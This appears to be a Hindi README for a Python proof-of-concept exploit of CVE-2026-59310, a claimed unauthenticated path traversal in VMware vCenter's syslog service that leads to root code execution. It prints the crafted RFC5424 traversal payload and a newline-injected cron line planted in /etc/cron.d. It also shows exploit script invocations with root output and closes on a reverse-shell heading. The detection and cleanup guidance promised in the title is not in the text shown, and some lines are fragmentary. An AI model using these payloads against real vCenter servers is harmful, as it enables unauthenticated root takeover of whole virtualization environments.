
CVE-2026-59310 के लिए Python PoC और exploit, जो VMware vCenter syslog path traversal है जिसके कारण cron injection के माध्यम से unauthenticated root RCE होता है, साथ में detection और cleanup मार्गदर्शन।
अस्वीकरण: यह परियोजना केवल अधिकृत सुरक्षा परीक्षण, भेद्यता सत्यापन और रक्षात्मक अनुसंधान के लिए है। कृपया इसका उपयोग स्पष्ट लिखित प्राधिकरण प्राप्त वातावरण में करें। दुरुपयोग से होने वाले सभी परिणामों की जिम्मेदारी उपयोगकर्ता की होगी।
| आइटम | सामग्री |
|---|---|
| भेद्यता का नाम | VMware vCenter Syslog निर्देशिका ट्रैवर्सल भेद्यता |
| भेद्यता संख्या | CVE-2026-59310 |
| भेद्यता का प्रकार | निर्देशिका ट्रैवर्सल (Path Traversal) → मनमानी फ़ाइल लेखन → रिमोट कोड निष्पादन |
| CVSS 3.1 | 9.8 (Critical) |
| शोषण की पूर्व शर्त | केवल syslog पोर्ट (डिफ़ॉल्ट UDP/TCP 514) तक पहुँच आवश्यक, किसी भी प्रमाण-पत्र की आवश्यकता नहीं |
| शोषण का परिणाम | root विशेषाधिकार के साथ मनमानी पथ पर लेखन और मनमाना कोड निष्पादन |
| सार्वजनिक तिथि | 2026-07-29 |
| जंगल में शोषण | पाया गया |
| विक्रेता सूचना | VMSA-2026-0006 |
vCenter की अंतर्निहित syslog प्राप्ति सेवा (rsyslog) लॉग सहेजने के लिए गतिशील पथ टेम्पलेट का उपयोग करती है, टेम्पलेट संदेश हेडर के
APP-NAME, HOSTNAME फ़ील्ड को सीधे फ़ाइल पथ में जोड़ देता है, और पथ शुद्धिकरण नहीं करता। हमलावर पहुँच योग्य syslog
पोर्ट पर विशेष रूप से तैयार संदेश भेजकर, लेखन पथ को निर्धारित लॉग निर्देशिका से बाहर निकाल सकता है, और फिर शेड्यूल कार्यों के साथ मिलाकर मनमाना कोड निष्पादन प्राप्त कर सकता है।
vCenter वर्चुअलाइज़ेशन प्रबंधन का केंद्र है, एक बार समझौता होने पर पूरा vSphere / VCF वातावरण असुरक्षित हो जाता है।
प्रभावित संस्करण (निम्नलिखित सुधारित संस्करणों से कम)
| शाखा | प्रभावित सीमा | सुधारित संस्करण |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100(Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 प्रारंभिक संस्करण / U1 | सभी | समर्थित पथ के अनुसार 8.0 U3k या उच्चतर में अपग्रेड करें |
| 7.0 | संबंधित विस्तारित समर्थन पैच स्थापित नहीं | Broadcom से पैच प्राप्त करें, या समर्थित संस्करण में माइग्रेट करें |
साथ ही प्रभावित: स्वतंत्र रूप से तैनात vCenter, तथा VMware Cloud Foundation, VMware vSphere Foundation, VMware Telco Cloud में उपयोग किए जाने वाले प्रभावित vCenter घटक।
सत्यापित वातावरण: VMware vCenter Server 9.0.2.0 / Build 25148086, सुधारित संस्करण 25629525 से पहले, वास्तव में अप्रभावी स्थिति में।
/etc/rsyslog.conf(VMware फ़ैक्टरी डिफ़ॉल्ट कॉन्फ़िगरेशन):
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
%app-name% को एक साथ निर्देशिका नाम और फ़ाइल नाम दोनों के रूप में उपयोग किया जाता है, और पथ शुद्धिकरण नहीं है।
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
केवल प्रीफ़िक्स मिलान की आवश्यकता है, हमलावर rsyslog/... का उपयोग करके इस नियम को मैच कर सकता है और गतिशील पथ टेम्पलेट में प्रवेश कर सकता है।
24: $EscapeControlCharactersOnReceive off
संदेश सामग्री में न्यूलाइन जैसी ही डिस्क पर लिखी जाती है, जिससे हमलावर लिखी जाने वाली फ़ाइल की पंक्ति संरचना को नियंत्रित कर सकता है।
यह इस भेद्यता का सबसे आसानी से छूट जाने वाला स्थान है।
/ डिफ़ॉल्ट रूप से अनुमत नहीं,
जिसके कारण APP-NAME / पर कट जाता है → ट्रैवर्सल संभव नहीं।APP-NAME एक स्वतंत्र स्पेस-पृथक फ़ील्ड है, कैरेक्टर व्हाइटलिस्ट सत्यापन नहीं करता,
/ और .. जैसे हैं वैसे बने रहते हैं → ट्रैवर्सल संभव।सर्वर input(type="imudp" port="514") डिफ़ॉल्ट नियम सेट का उपयोग करता है, साथ ही RFC5424 संदेश स्वीकार करता है।
हमलावर को केवल संदेश को RFC5424 प्रारूप में लिखना है, ट्रैवर्सल कैरेक्टर सीधे फ़ाइल पथ तक पहुँच सकते हैं।
वास्तविक तुलना (समान पेलोड rsyslog/../../../../tmp/x):
| पार्सर | वास्तविक %app-name% मान |
|---|---|
| pmrfc3164 | rsyslog ← / पर कट गया |
| pmrfc5424 | rsyslog/../../../../tmp/x ← पूर्ण रूप से संरक्षित |
पार्श्व प्रमाण: शुद्ध
..को शाब्दिक निर्देशिका नाम के रूप में बनाया जाएगा (जैसेrsyslog..), जो दर्शाता है कि rsyslog की omfile परत..का सामान्यीकरण नहीं करती; वास्तव में सफलता या विफलता यह निर्धारित करती है कि पार्सर/को फ़ील्ड में भेज सकता है या नहीं।
① अनधिकृत UDP पैकेट → ② RFC5424 APP-NAME ट्रैवर्सल ले जाता है → ③ लॉग निर्देशिका से बाहर मनमानी लेखन (root)
↓
⑤ root कोड निष्पादन ← ④ /etc/cron.d में शेड्यूल कार्य रोपण
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
टेम्पलेट में प्रतिस्थापित:
निर्देशिका = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
फ़ाइल = उपरोक्त + "-syslog.log" → /tmp/PWNED-syslog.log
परिणाम: root स्वामित्व के साथ /tmp/PWNED-syslog.log पर लेखन, अनुपस्थित पैरेंट निर्देशिका स्वतः बनाई जाती है, सामग्री पूर्णतः नियंत्रणीय।
लिखी जाने वाली फ़ाइल का नाम निश्चित रूप से -syslog.log पर समाप्त होता है, सीधे /etc/cron.d/xxx को ओवरराइट नहीं किया जा सकता।
लेकिन न्यूलाइन पैठ के सहारे, MSG में न्यूलाइन इंजेक्ट की जा सकती है, जिससे नियंत्रणीय सामग्री फ़ाइल की पंक्ति 0 से प्रारंभ हो सके:
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron "bad minute" रिपोर्ट करता है, अनदेखा करता है
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← वैध cron पंक्ति के रूप में निष्पादित
#
crond root के रूप में शेड्यूल करके निष्पादित करता है, प्राप्त:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
/opt/vmware/share/htdocs/ में लिखें (lighttpd पोर्ट 5480 पर सुनता है),
फिर https://<target>:5480/... के माध्यम से पढ़ें, विक्रेता सूचना के विवरण के अनुरूप।/var/spool/cron/root: इस निर्देशिका में लिखा जा सकता है, लेकिन root नाम की फ़ाइल आवश्यक है,
-syslog.log प्रत्यय की सीमा के कारण, इसलिए /etc/cron.d/ अधिक सीधा है।| आइटम | मान |
|---|---|
| लक्ष्य | VMware vCenter Server 9.0.2.0,Build 25148086 |
| सुधारित संस्करण | 9.0.2.0100,Build 25629525 |
| rsyslog | 8.2306.0-4.ph5(VMware कस्टम पैकेज) |
| syslog पोर्ट | UDP/TCP 514、TCP 1514(TLS) |
| प्रमाणीकरण आवश्यकता | नहीं |
मनमानी फ़ाइल लेखन (अनधिकृत)
$ python3 exploit_cve_2026_59310.py <target> --check
[i] API नेमस्पेस संस्करण: 9.0.0.0 (appliance build नहीं, केवल फ़िंगरप्रिंट संदर्भ के लिए)
[*] APP-NAME : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] भेज दिया गया। लक्ष्य पर root स्वामित्व वाली फ़ाइल बनने की अपेक्षा
# लक्ष्य पर:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log
कमांड निष्पादन (root)
$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] रोपित : /etc/cron.d/cve59310<name>-syslog.log
[i] परिणाम पढ़ें : cat /tmp/cve59310_<name>.txt
# लगभग 60s बाद:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost
इंटरैक्टिव रिवर्स शेल (root)